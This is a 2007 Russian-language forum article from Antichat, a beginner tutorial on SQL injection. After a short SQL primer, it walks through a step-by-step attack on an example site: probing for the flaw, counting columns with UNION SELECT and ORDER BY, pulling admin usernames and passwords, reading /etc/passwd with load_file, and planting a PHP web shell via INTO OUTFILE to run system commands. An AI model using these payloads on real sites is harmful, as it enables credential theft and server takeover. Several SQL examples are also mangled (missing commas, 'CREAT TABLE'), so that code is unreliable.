ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2
Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Вернуться   Форум АНТИЧАТ > ИНФО > Статьи > Авторские статьи
   
 
 
Опции темы Поиск в этой теме Опции просмотра

SQL-injection для самых маленьких
  #1  
Старый 18.03.2007, 13:37
Аватар для FraiDex
FraiDex
Участник форума
Регистрация: 16.06.2006
Сообщений: 179
Провел на форуме:
515368

Репутация: 135
Отправить сообщение для FraiDex с помощью ICQ
По умолчанию SQL-injection для самых маленьких

Сегодня я вам расскажу об одной известной уязвимости SQL-injection. Я понимаю, что подобных статей написано уже много, но у новичков всё равно возникает множество вопросов. Итак, приступим.
Для начала немного разберёмся с языком SQL .
1. SELECT – команда для вывода информации из БД. Например:
PHP код:
SELECT namepasswordemail FROM users
Этот запрос извлекает из таблицы users данные из полей name и password. Команда FROM, после которой через пробел идёт имя таблицы, указывает из какой таблицы будут извлекаться данные.
2. UNION – команда для объединения нескольких запросов в один. Например:
PHP код:
SELECT  name FROM admin UNION SELECT  namepassword FROM users;. 
(Данная команда работает только в MySQL 4.0 и выше, в более ранних версиях данная команда отсутствует.)
3. INSERT – команда для добавления данных в БД. Например:
PHP код:
INSERT INTO users (namepasswordemailVALUE (‘hacker’‘qwerty’,   ‘hacker@hack.ru’); 
Слово INTO, после которого идёт название таблицы, указывает в какую таблицу должна производится запись. VALUE – значение полей.
4. DROP - команда для удаления данных из БД. Например:
PHP код:
 DROP TABLE users
где users имя таблицы.
5. UPDATE – команда для изменения данных в таблице. Например у нас в таблице users есть пользователь с именем admin, нам нужно сменить его пароль, значит вводим следующее:
UPDATE users SET password = ‘qwerty’ WHERE name = admin;
6. CREATE TABLE – команда для создания таблицы в БД. Например:
PHP код:
CREAT TABLE users (name char (15), password char (10)); 
Данная команда создаст таблицу users, с полями name и password. Char – тип данных, числа в скобках максимальная длинна значения поля.

Ну вот с языком SQL мы немного разобрались, теперь приступим к SQL injection. Данная уязвимость позволяет посылать запросы в БД из адресной строки браузера. Есть несколько способов проверить является ли сайт уязвимым. Например, у нас есть адрес:
PHP код:
 www.lamer.org/index.php?id=
В конце подставляем кавычку. Тогда ссылка примет следующий вид:
PHP код:
www.lamer.org/index.php?id=1’ 
Должна появится ошибка, но если она не появилось это ещё не значит, что сайт не уязвим. Попробуем следующий вариант.
PHP код:
www.lamer.org/index.php?id=2-1. 
Если арифметическое выражение выполнилось и мы увидели те же данный что и при www.lamer.org/index.php?id=1 то значит скрипт не отфильтровал выражение, а выполнил его, это значит, что уязвимость скорей всего присутствует.
Допустим, мы определили, что сайт уязвим. Первым делом нам нужно подобрать количество полей. Это делается для того, что бы узнать значение какого поля отображается на экране.
PHP код:
www.lamer.org/index.php?id=-1+union+select+1,2,3,4,5,6/* 
(/* - это знак комментария, все что будет идти поле него, будет считаться комментарием)
Предположим у нас отобразилась цифра 4, значит отображалось значение четвёртого поля.
Количество полей можно перебрать и другим способом при помощи оператора order by. Например:
PHP код:
 www.lamer.org/index.php?id=-1+order+by+2/* 
Если не появилась ошибка – используется полей больше чем 2 (или равное 2).
PHP код:
www.lamer.org/index.php?id=-1+order+by+6/* 
Если появилась ошибка – это значит, что полей в запросе меньше 6.
Продолжаем дальше. Вводим следующий запрос:
PHP код:
www.lamer.org/index.php?id=-1+order+by+3/* 
Если ошибка не появилась то полей больше чем 3 (или равное 3).
PHP код:
www.lamer.org/index.php?id=-1+order+by+5/* 
Если появилась ошибка значит полей меньше пяти.
PHP код:
www.lamer.org/index.php?id=-1+order+by+4/* 
Если ошибка не появилась - это значит, что количество полей равно 4.
Итак, продолжим. Теперь начинаем выполнять команды.
PHP код:
www.lamer.org/index.php?id=-1+union+select+1,2,3,version(),5,6/* 
Должна отобразится версия SQL. Например 4.0
Узнаём имя пользователя БД:
PHP код:
www.lamer.org/index.php?id=-1+union+select+1,2,user(),5,6/* 
Так мы получим имя пользователя БД. Например lamer@localhost
Получаем имя БД
PHP код:
www.lamer.org/index.php?id=-1+union+select+1,2,database(),5,6/* 
Таким образом мы узнали имя БД. Например: lamers
Сейчас нам надо узнать в какой таблице хранятся данные пользователей.
PHP код:
www.lamer.org/index.php?id=-1+union+select+1,2,name,5,6+from+users+limit+1,1/* 
Если имя таблицы указали правильно, в нашем случае – это users, то должно отобразится имя первого пользователя. Например: admin.

Теперь нам нужно узнать пароль данного пользователя.
PHP код:
www.lamer.org/index.php?id=-1+union+select+1,2,password,5,6+from+users+limit+1,1/* 
Должен отобразится пароль пользователя admin. Например mego_lamer.
Теперь осталось только найти админку и залогинется под пользователем admin.
Так же есть возможность через SQL-injection есть возможность читать файлы на сервере. Для этого выполняем следующее:
PHP код:
www.lamer.org/index.php?id=-1+union+select+1,2,3,load_file(/etc/passwd),5,6/* 
Таким образом мы открыли файл passwd в каталоге /etc.



Заливаем Web Shell через SQL-injection.
Предположим мы зашли в админку, но так и не нашли с помощь чего нам можно залить шелл. Но есть поле для вводя запросов в БД. Отчаиваться не будем, сейчас мы зальём шелл через SQL.
Например у нас есть таблица articles в ней поле computers. Выполним следующую команду:
PHP код:
INSERT INTO articles (computers) value (‘<? system($_GET[‘’cmd’’]) ?>’);
Обратите внимание, что cmd заключено в две одинарные кавычки с каждой стороны и выглядит так ‘’cmd’’ хотя в php должно быть так ‘cmd’. Всё потому, что если мы оставим так, как и в php коде, то SQL выдаст ошибку.
Так мы добавили в таблицу articles в поле computers новую запись. Теперь с помощью команды
PHP код:
select computers from articles into outfile '/home/lamer/www/shell.php'
мы сохраняем значение поля computers в файл shell.php. /home/lamer/www – путь к веб директории.(он может быть другим).
Теперь переходим по адресу
PHP код:
www.lamer.org/shell.php?cmd=ls –la 
Если команда ls –la выполнилась успешно, то мы увидим содержимое веб директории.

Автор: FraiDex

Последний раз редактировалось FraiDex; 18.03.2007 в 15:35..
 
 



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Руководство для начинающих по созданию Live CD из LFS 6.0 system_32 Чужие Статьи 2 14.03.2007 19:42
Редактирование содежимого прошивок для Самсунгов Digimortal Схемы и программы 3 28.02.2007 14:22
Внедрение Sql кода с завязанными глазами k00p3r Чужие Статьи 0 12.06.2005 20:48



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ